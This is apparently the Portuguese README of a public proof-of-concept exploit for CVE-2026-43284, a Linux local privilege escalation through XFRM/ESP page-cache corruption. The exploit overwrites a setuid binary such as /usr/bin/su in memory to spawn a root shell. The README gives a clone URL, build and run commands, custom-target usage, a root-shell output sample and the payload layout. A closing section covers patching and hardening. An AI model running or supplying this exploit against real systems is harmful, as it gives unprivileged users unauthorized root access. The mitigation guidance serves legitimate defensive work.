
Prova de conceito para CVE-2026-43284 — primitiva de escrita de 4 bytes no cache de páginas XFRM/ESP para corrigir um binário setuid (x86_64, namespaces de usuário). Inclui verificação prévia do kernel + varredura SUID.
Prova-de-conceito de escalonamento local de privilégios via corrupção de cache de página XFRM/ESP
Primitiva de escrita de 4 bytes · 48 iterações · Sobrescrita de 192 bytes ELF · usuário não privilegiado + netns
Esquerda: pré-verificação do kernel, scan de setuid e cadeia do exploit ·
Direita: shell root gerado — id / whoami confirmam uid=0(root)
Testado no WSL2 · Ubuntu 24.04.1 LTS · kernel 6.6.87.2-microsoft-standard-WSL2
╔═══════════════════════════════════════╗
║ SLEY - CVE-2026-43284 dirtyfrag PoC ║
╚═══════════════════════════════════════╝
Aviso: Apenas para pesquisa de segurança autorizada, educação e testes em sistemas que você possui ou tem permissão explícita para testar. Os autores não são responsáveis pelo uso indevido.
| CVE | CVE-2026-43284 |
| Tipo | Escalonamento local de privilégios (LPE) |
| Vetor | Corrupção de cache de página XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) |
| Primitiva | 4 bytes por iteração (ESN seq_hi) |
| Payload | ELF x86_64 de 192 bytes (setuid(0) + setgid(0) + execve("/bin/sh")) |
| Alvo padrão | /usr/bin/su |
| Arquitetura | apenas x86_64 |
| Privilégios necessários | Usuário não privilegiado (usa namespaces de usuário e rede) |
Funciona mesmo quando algif_aead está na lista negra — o exploit usa o caminho do código do kernel XFRM/ESP diretamente.
Verificações de pré-voo incorporadas antes da exploração:
CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP/boot/config-*, /lib/modules/*/config, ou /proc/config.gz no WSL2)find / -perm -4000)CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m # ou =y
Verificação rápida:
# bare metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)
# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='
gcc, libc, libutil (para forkpty)/usr/bin/su)git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make
Ou manualmente:
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil
-O0é intencional — a otimização pode quebrar o comportamento sensível a tempo do splice/UDP.
id
# uid=1000(seuusuario) gid=1000(seuusuario) groups=...
./sley-dirtyfrag # alvo padrão: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd # binário setuid personalizado
A ferramenta executa três fases automatizadas:
| Fase | O que faz |
|---|---|
| 1 | Pré-verificação da configuração do kernel (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP) |
| 2 | Scan completo do sistema de binários setuid; destaca o alvo padrão |
| 3 | Backup do alvo → corrige o cache de página (48 escritas de 4 bytes) → gera shell root |
Dentro do shell gerado:
id
# uid=0(root) gid=0(root) groups=0(root)
whoami
# root
Pressione Ctrl+D ou digite exit. O PoC limpa o cache de página para que o binário original em disco seja restaurado automaticamente.
Se a restauração falhar:
echo 3 | sudo tee /proc/sys/vm/drop_caches
| Comando | Descrição |
|---|---|
./sley-dirtyfrag | Explora /usr/bin/su (padrão) |
./sley-dirtyfrag /caminho/para/suid | Explora um binário setuid personalizado |
make | Compila sley-dirtyfrag |
make clean | Remove o binário |
┌─[ fase 1] pré-verificação da configuração do kernel
→ /proc/config.gz
[+] CONFIG_USER_NS = y (obrigatório =y)
[+] CONFIG_XFRM = y (obrigatório =y)
[+] CONFIG_INET_ESP = m (obrigatório =m ou =y)
opções do kernel OK.
┌─[ fase 2] scan de binários setuid
10 /usr/bin/su ← alvo
encontrados 14 binários setuid.
┌─[ fase 3] exploit
[*] unshare userns+netns, registrar 48 SA XFRM, splice→UDP 4500...
[+] corrupt todas iterações concluídas
[+] verify correção ELF detectada
╔══════════════════════════════════════╗
║ shell root — saia para restaurar ║
╚══════════════════════════════════════╝
| Corrigido em | f4c50a4034e6 (mainline, 8 de maio de 2026) |
| Introduzido em | cac2661c53f3 (Jan 2017) |
Ação: Atualize para um kernel de distribuição que inclua a correção, ou compile a partir de uma árvore mainline corrigida.
# verifique seu kernel atual
uname -r
# verifique se a correção está presente (exemplo — ajuste para a nomenclatura de pacotes da sua distribuição)
# apt update && apt install --only-upgrade linux-image-$(uname -r)
| Medida | Efeito |
|---|---|
| Aplicar patch/atualizar kernel | Elimina o bug subjacente de escrita no cache de página |
| Restringir namespaces de usuário | Bloqueia este PoC (requer CONFIG_USER_NS) |
| Remover binários setuid desnecessários | Reduz alvos viáveis (chmod u-s, ou desinstalar) |
| Lockdown / LSM (SELinux, AppArmor) | Pode limitar o impacto pós-exploração dependendo da política |
| Monitorar XFRM + UDP/4500 | Detectar registro anômalo de SA e tráfego ESP-em-UDP de namespaces não privilegiados |
Este exploit depende de unshare(CLONE_NEWUSER | CLONE_NEWNET) sem root.
# em tempo de execução (pode não existir em todos os kernels)
sysctl kernel.unprivileged_userns_clone=0
# ou desabilitar no momento da compilação
# CONFIG_USER_NS não definido
Nota: Desabilitar namespaces de usuário bloqueia este PoC, mas não necessariamente CVE-2026-43500 (variante rxrpc para sistemas sem userns).
find / -perm -4000 -type f 2>/dev/null
# remova ou endureça binários que você não precisa
Se você acredita que um binário setuid foi modificado na memória:
echo 3 | sudo tee /proc/sys/vm/drop_caches
# re-verifique a integridade do binário a partir do gerenciador de pacotes / hash conhecido